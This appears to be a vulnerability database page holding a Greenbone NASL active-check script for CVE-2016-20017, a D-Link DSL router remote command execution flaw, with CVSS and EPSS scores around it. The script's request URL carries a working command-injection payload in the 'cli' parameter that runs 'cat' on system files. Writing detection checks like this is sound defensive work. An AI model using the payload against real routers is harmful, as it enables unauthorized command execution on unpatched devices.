9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.2 High
AI Score
Confidence
Low
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.008 Low
EPSS
Percentile
81.3%
D-Link DSL routers are prone to a remote command execution
vulnerability.
This vulnerability was known to be used by an unknown Botnet in 2018.
# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
CPE_PREFIX = "cpe:/o:dlink";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.108458");
script_version("2024-01-22T05:07:31+0000");
script_tag(name:"last_modification", value:"2024-01-22 05:07:31 +0000 (Mon, 22 Jan 2024)");
script_tag(name:"creation_date", value:"2018-09-04 09:45:51 +0200 (Tue, 04 Sep 2018)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2022-10-21 20:19:00 +0000 (Fri, 21 Oct 2022)");
script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
script_cve_id("CVE-2016-20017");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"WillNotFix");
script_name("D-Link DSL Devices 'login.cgi' RCE Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2018 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_dlink_dsl_detect.nasl", "gb_dlink_dap_consolidation.nasl",
"gb_dlink_dir_consolidation.nasl", "gb_dlink_dwr_detect.nasl");
script_mandatory_keys("d-link/http/detected"); # nb: Experiences in the past have shown that various different devices are affected
script_require_ports("Services/www", 80);
script_tag(name:"summary", value:"D-Link DSL routers are prone to a remote command execution
vulnerability.
This vulnerability was known to be used by an unknown Botnet in 2018.");
script_tag(name:"vuldetect", value:"Send a crafted HTTP POST request and check whether it is
possible to read a file on the filesystem or not.");
script_tag(name:"impact", value:"Successful exploitation will allow a remote attacker to read
arbitrary files on the target system.");
script_tag(name:"affected", value:"D-Link DSL-2750B with firmware version 1.0.1 through 1.0.3.
Other devices, models or versions might be also affected.");
script_tag(name:"solution", value:"No known solution was made available for at least one year since
the disclosure of this vulnerability. Likely none will be provided anymore. General solution options
are to upgrade to a newer release, disable respective features, remove the product or replace the
product by another one.");
script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2016/Feb/53");
script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/44760/");
script_xref(name:"URL", value:"http://www.quantumleap.it/d-link-router-dsl-2750b-firmware-1-01-1-03-rce-no-auth/");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
if( ! infos = get_app_port_from_cpe_prefix( cpe:CPE_PREFIX, service:"www" ) )
exit( 0 );
port = infos["port"];
CPE = infos["cpe"];
files = traversal_files( "linux" );
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
if( dir == "/" )
dir = "";
foreach pattern( keys( files ) ) {
file = files[pattern];
url = dir + "/login.cgi?cli=multilingual%20show%27;cat%20/" + file + "%27$";
if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.2 High
AI Score
Confidence
Low
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.008 Low
EPSS
Percentile
81.3%